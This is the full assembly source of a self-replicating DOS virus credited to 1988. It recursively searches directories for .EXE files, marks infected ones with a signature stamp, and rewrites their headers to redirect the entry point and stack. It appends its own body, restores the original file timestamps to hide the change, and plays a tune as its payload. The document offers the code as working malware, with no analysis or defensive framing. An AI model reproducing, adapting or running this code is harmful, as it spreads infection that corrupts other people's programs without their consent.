comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 / data_area struc ;Define a pattern for working data ;area DS_save dw ? ES_save dw ? IP_save dw ? CS_save dw ? SS_save dw ? filematch db '*.exe',00h ;Names for files to infect matchall db '*.*',00h ;needed for the matching procedure infected dw 00h ;A very useful flag help_flag dw 00h ;These two flags are needed to where_from_flag dw 00h ;determine if virus is free running ;or from an infected program ;therefore it's very important ;that where_from_flag value ;is set to zero at assembly time handle dw ? ip_old dw ? ;old instruction pointer cs_old dw ? ;old value of code segment ss_old dw ? far_push dw ? save_push dw ? buffer1 db '\',63 dup (?) virus_stamp db 'motherfucker' ;Very hard to obtain in a random way buffer2 db 2b0h dup (?) new_area db 64 dup (?) new_data db 64 dup (?) pointer1 dw ? pointer2 dw ? pointer3 dw ? pointer4 dw ? pointer5 dw ? pointer6 dw ? pointer7 dw ? pointer8 dw ? data_area ends org 100h ;Defined for .com file as virus must ;be able to run on itself start: call setup_data ;This is a near call therefore it's a ;three byte instruction.It's purpose is ;to catch correct data area address ;even when virus is appended to the ;infected .exe program adjust equ offset pgm_start ;Known offset value pgm_start label word virussize equ 2793 work: mov ax,ds ;Save old DS push cs pop ds ;Update to needed DS value mov si,offset buffer.DS_save ;Put old DS in a quiet place sub si,adjust add si,bx mov [si],ax mov si,offset buffer.ES_save ;Save it because Get DTA side effects sub si,adjust add si,bx mov ax,es mov [si],ax push cs ;Imperative because DI usage pop es push bx ;It's imperative to always keep ;this value unchanged mov ax,2f00h ;Get DTA function call int 21h mov cx,bx ;save address found pop bx mov si,offset buffer.pointer1 sub si,adjust add si,bx mov [si],cx add si,2 ;Locate the segment immediately above mov ax,es mov [si],ax push cs pop es mov di,offset buffer.buffer1 ;adjust for first search inc di ;Jump over the '\' sub di,adjust add di,bx mov dx,0000h push bx call search_exe pop bx mov si,offset buffer.where_from_flag sub si,adjust add si,bx cmp word ptr [si],0000h jnz infected_run int 020H infected_run: mov si,offset buffer.pointer1 sub si,adjust add si,bx mov dx,[si] push ds mov ax,[si+2] mov ds,ax push bx mov ax,1a00h int 21h pop bx pop ds ;Restore original DTA mov si,offset buffer.ES_save sub si,adjust add si,bx mov ax,[si] mov es,ax ;Restore ES push bx ;Here you can do whatever you want call mary_proc pop bx mov si,offset buffer.IP_save sub si,adjust add si,bx mov ax,[si] mov dx,[si+2] mov si,offset buffer.far_push ;Restore original code sub si,adjust ;segment add si,bx mov cx,[si] push ax mov ax,cs sub ax,cx mov di,ax ;For stack add dx,ax pop ax mov si,offset buffer.SS_save sub si,adjust ;Restore stack segment add si,bx mov cx,word ptr [si] add cx,di push es pop ds cli mov ss,cx sti push dx push ax retf search_exe PROC push si push dx call transfer_filespec ;transfer filename in another ;working area call find_first ;try to find a first match jc not_here ;first match not found call try_to_infect ;if found try to infect ;infected != 0 if success mov si,offset buffer.infected sub si,adjust add si,bx test word ptr [si],0ffffh jz try_next jmp quiet_exit try_next: call find_next ;If infection was not succesful ;try once more jc not_here call try_to_infect ;If match found try to infect mov si,offset buffer.infected ;again sub si,adjust add si,bx test word ptr [si],0ffffh jz try_next jmp quiet_exit ;quiet exit simply jumps ;to a return instruction not_here: pop dx ;If first searches are push dx ;unsuccesful try a '*.*' match call search_all call find_first jnc attribute_test ;i.e. expect probably to ;find a subdirectory quiet_exit: pop dx pop si ret attribute_test: mov si,dx ;offset of DTA test byte ptr [si+015h],010h ;where attribute byte is to ;be found.Try first with ;subdirectory attribute jne dir_found ;subdirectory found more_tries: call find_next ;Since the search was initiated ;with '*.*' if this is not a ;directory try to found one jc quiet_exit ;No sense to search more test byte ptr [si+015h],010h jz more_tries ;Search to the end dir_found: cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory ;mark '.' jz more_tries ;looking for files no ;subdirectories call dta_compute ;Valid entry, now set some DTA ;and continue to search push ax mov ah,01Ah ;Set DTA function call int 021h pop ax push si mov si,offset buffer.infected sub si,adjust add si,bx test word ptr [si],0ffffh pop si jnz quiet_exit jmp more_tries search_exe ENDP dta_compute PROC push di ;Save some registers push si push ax push bx cld ;Up count for SI,DI pair mov si,dx ;DTA address to SI add si,01EH ;and add subdirectory ;name offset store_loop: lodsb stosb or al,al jne store_loop ;store loop std stosb mov al,05Ch ;Put in place the path name constructor stosb add di,2 ;Adjust di for new searches call search_exe ;a heavily recursion pop bx ;some cleanup and exit pop ax pop si pop di ret dta_compute ENDP try_to_infect PROC push ax push bx push cx push dx push si push di push es push bx mov ax,2f00h ;Get DTA function call int 21h mov ax,bx pop bx mov si,offset buffer.pointer3 sub si,adjust add si,bx mov [si],ax ;Offset saved add si,2 mov ax,es mov [si],ax pop es ;Segment located just above mov dx,offset buffer.new_data sub dx,adjust add dx,bx push bx mov ax,1a00h int 21h ;Set DTA function call pop bx ;It's very important to save BX in all calls mov di,offset buffer.new_area mov si,offset buffer.buffer1 sub di,adjust sub si,adjust add di,bx add si,bx cld ; Move previously found pathname or filename ; to new data area move_path: lodsb stosb or al,al jnz move_path std ;adjust DI to recieve mov al,'\' ;filename. mov cx,0040h std ;Search backward repne scasb mov si,offset buffer.pointer3 sub si,adjust add si,bx mov ax,[si] mov si,ax add di,2 o_kay: add si,001eh ;The beginning of the filename... cld ;Now move name move_fnm: lodsb stosb or al,al jnz move_fnm push dx push bx mov dx,offset buffer.new_area sub dx,adjust add dx,bx mov ax,3d02h ;Open file with handle for read/write int 21h pop bx pop dx jnc go_ahead ;In case file cannot be opened jmp error_exit go_ahead: mov si,offset buffer.handle sub si,adjust add si,bx mov [si],ax ;Save handle push bx mov bx,ax ;Prepare for lseek push dx mov cx,0000h ;Look at the end of the file mov dx,0000h ;Offset of -12 from the end of the file mov ax,4202h ;Lseek function call int 21h mov cx,dx pop dx pop bx jnc compute_length jmp close_error compute_length: sub ax,000ch sbb cx,0000h ;Exact position save_offset: mov si,offset buffer.pointer5 sub si,adjust add si,bx mov [si],ax add si,2 mov [si],cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov dx,ax mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx jnc set_buffer jmp close_error set_buffer: push bx push dx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,000ch mov ax,3f00h int 21h ;Read function call pop dx pop bx jnc read_ok jmp close_error read_ok: mov si,offset buffer.virus_stamp mov di,offset buffer.new_data sub si,adjust sub di,adjust add si,bx add di,bx mov cx,12 ;Length of strings to compare repe cmpsb pushf mov si,offset buffer.infected sub si,adjust add si,bx mov word ptr [si],0000h popf jnz infect_it close_error: mov si,offset buffer.handle sub si,adjust add si,bx push bx mov bx,[si] mov ax,3e00h ;Close file function call int 21h pop bx jmp error_exit infect_it: mov si,offset buffer.infected sub si,adjust add si,bx mov word ptr [si],7777h mov si,offset buffer.where_from_flag sub si,adjust add si,bx mov ax,[si] sub si,2 mov [si],ax ;This code effectively moves ;where_from_flag into help_flag add si,2 mov [si],5a5ah ;Ready to infect push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx jnc set_new_data jmp append_ok set_new_data: push bx push dx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,001bh ;Read formatted exe header mov ax,3f00h int 21h ;Read function call pop dx pop bx jnc read_header jmp append_ok read_header: nop ;some code to modify header mov si,offset buffer.pointer5 sub si,adjust add si,bx mov ax,[si] add si,2 add ax,0ch adc word ptr [si],0000h sub si,2 mov [si],ax ;This code restores original filelength mov si,offset buffer.new_data sub si,adjust add si,bx mov ax,[si] cmp ax,5a4dh ;check for valid exe file jz valid_exe jmp append_ok valid_exe: mov ax,[si+8] ;Load module size xor dx,dx shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 16 push ax push dx ;Adjust new size push cx mov dx,virussize-896+64 push dx mov cx,0009h shr dx,cl add word ptr [si+4],dx pop dx and dx,01ffh add dx,word ptr [si+2] cmp dx,512 jl adjust_okay sub dx,512 inc word ptr [si+4] adjust_okay: mov word ptr [si+2],dx pop cx pop dx pop ax push si ;This SI is very useful so save it mov si,offset buffer.pointer5 sub si,adjust add si,bx sub [si],ax mov ax,[si] sbb [si+2],dx mov dx,[si+2] ;the byte size of the load module pop si push ax push dx mov ax,[si+14h] mov dx,[si+16h] ;Get CS:IP value mov cx,[si+0eh] ;Get SS value push si mov si,offset buffer.IP_save sub si,adjust add si,bx xchg [si],ax xchg [si+2],dx mov si,offset buffer.SS_save sub si,adjust add si,bx xchg [si],cx mov si,offset buffer.ip_old sub si,adjust add si,bx mov [si],ax mov [si+2],dx mov si,offset buffer.ss_old sub si,adjust add si,bx mov [si],cx pop si pop dx pop ax push ax push dx shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 16 mov cx,0008h shl dx,cl mov cx,0004h shr ax,cl ;A very obscure algorithm to make ;a segment:offset pair mov [si+14h],ax mov [si+16h],dx ;Infected values push si mov si,offset buffer.far_push sub si,adjust add si,bx xchg [si],dx mov word ptr [si+2],dx pop si pop dx pop ax add ax,virussize adc dx,0000h mov cx,0003h mul_loop: shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 4096 loop mul_loop or ax,ax jz exact_value inc dx exact_value: mov [si+0eh],dx ;Infected stack segment ;Write back infected header push si push bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov ax,5700h ;Get time function int 21h pop bx pop si jnc correct_time jmp append_ok1 correct_time: push cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx pop cx jnc continue_infection jmp append_ok1 continue_infection: push cx push dx push bx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,001bh ;Write infected exe header mov ax,4000h int 21h ;Write function call pop bx pop dx pop cx jnc glue_virus jmp append_ok1 glue_virus: push cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4202h ;From the end of file int 21h ;Lseek function call pop dx pop bx pop cx jnc write_data jmp append_ok1 write_data: mov si,offset buffer.handle sub si,adjust add si,bx push dx push cx mov dx,bx sub dx,3 ;The starting three byte call instruction push es push bx push dx push si mov ax,2f00h int 21h pop si pop dx push es push bx push si mov ax,1a00h int 21h pop si mov bx,[si] ;Load handle mov cx,virussize-896+64 ;Length of virus obtained mov ax,4000h ;with dir int 21h lahf ;Write function call pop bx pop es push ds push es pop ds mov dx,bx push ax mov ax,1a00h int 21h pop ax pop ds pop bx pop es pop cx pop dx sahf jnc put_stamp ;Error or not file jmp append_ok1 ;is closed put_stamp: push bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov ax,5701h ;Set time function int 21h pop bx append_ok1: mov si,offset buffer.ip_old ;Restore previous CS:IP values sub si,adjust add si,bx mov ax,[si] mov dx,[si+2] mov si,offset buffer.IP_save sub si,adjust add si,bx mov [si],ax mov [si+2],dx mov si,offset buffer.save_push sub si,adjust add si,bx mov ax,[si] mov word ptr [si-2],ax mov si,offset buffer.ss_old sub si,adjust add si,bx mov ax,[si] mov si,offset buffer.SS_save sub si,adjust add si,bx mov word ptr [si],ax append_ok: mov si,offset buffer.help_flag sub si,adjust add si,bx mov ax,[si] add si,2 mov [si],ax ;This code effectively moves ;help_flag into where_from_flag jmp close_error error_exit: mov si,offset buffer.pointer3 sub si,adjust add si,bx mov dx,[si] ;Restore original DTA add si,2 mov ax,[si] push ds mov ds,ax mov ax,1a00h ;Set DTA function call int 21h pop ds pop di pop si pop dx pop cx pop bx pop ax ret try_to_infect ENDP transfer_filespec PROC push si mov si,offset buffer.filematch ;Transfer name to the working area sub si,adjust add si,bx call byte_move pop si ret transfer_filespec ENDP search_all PROC push si mov si,offset buffer.matchall ;This is the '*.*' filename sub si,adjust add si,bx call byte_move pop si ret search_all ENDP byte_move PROC push ax push di cld move_loop: lodsb stosb or al,al ;The string to move is ASCIIZ jne move_loop pop di pop ax ret byte_move ENDP find_first PROC push cx push bx cmp dx,0000h jnbe over_set mov dx,offset buffer.buffer2 ;Set Data Transfer Area sub dx,adjust ;or Disk Transfer area add dx,bx over_set: add dx,02Bh mov cx,00010h ;Attribute byte for directory search mov ah,01ah int 021h ;Set DTA function call pop bx push bx push dx mov dx,offset buffer.buffer1 sub dx,adjust add dx,bx mov ah,04eh ;find first function call int 021h pop dx pop bx pop cx ret find_first ENDP find_next PROC push cx push bx push dx mov dx,offset buffer.buffer1 sub dx,adjust add dx,bx mov cx,00010h mov ah,04fh ;Find next function call int 021h pop dx pop bx pop cx ret find_next ENDP delay PROC push ax push bx push cx push dx mov ah,2ch ;Read current time int 21h mov ah,ch add al,cl add bh,dh add bl,dl cmp bl,100 jb secs sub bl,100 inc bh secs: cmp bh,60 jb mins sub bh,60 inc al mins: cmp al,60 jb hours sub al,60 inc ah hours: cmp ah,24 jne tcheck sub ah,ah tcheck: push ax mov ah,2ch int 21h pop ax cmp cx,ax ja tdquit jb tcheck cmp dx,bx jb tcheck tdquit: pop dx pop cx pop bx pop ax ret delay ENDP sound PROC push ax push cx push dx push di mov al,0b6h out 43h,al mov dx,14h mov ax,533h*896 div di out 42h,al mov al,ah out 42h,al in al,61h mov ah,al or al,3 out 61h,al mov al,cl call delay mov al,ah out 61h,al pop di pop dx pop cx pop ax ret sound ENDP music_play PROC push bx push cx push di push si push bp freq: mov di,[si] cmp di,0ffffh je end_play mov bl,ds:[bp] sub cl,cl sub bh,bh call sound add si,2 inc bp jnz freq end_play: pop bp pop si pop di pop cx pop bx ret music_play ENDP mary_proc PROC push bx push bp mov si,offset mary_freq mov bp,offset mary_time sub si,adjust sub bp,adjust add si,bx add bp,bx call music_play pop bp pop bx ret mary_proc ENDP mary_freq dw 262,262,293,329,262,329,293,196 dw 262,262,293,329,262,262 dw 262,262,293,329,349,329,293,262 dw 246,196,220,246,262,262 dw 220,246,220,174,220,246,262,220 dw 196,220,196,174,164,174,196 dw 220,246,220,174,220,246,262,220 dw 196,262,246,293,262,262,0ffffh mary_time db 8 dup(25) db 4 dup(25), 50, 50 db 8 dup(25) db 4 dup(25), 50, 50 db 26, 25, 26, 5 dup(25) db 26, 25, 26, 3 dup(25), 30 db 26, 25, 26, 4 dup(25), 30 db 4 dup(25), 50, 50 setup_data: cli pop bx ;This will catch instruction pointer push bx sti ;value and after that restore stack ret ;pointer value buffer data_area <> ;Reseve data_area space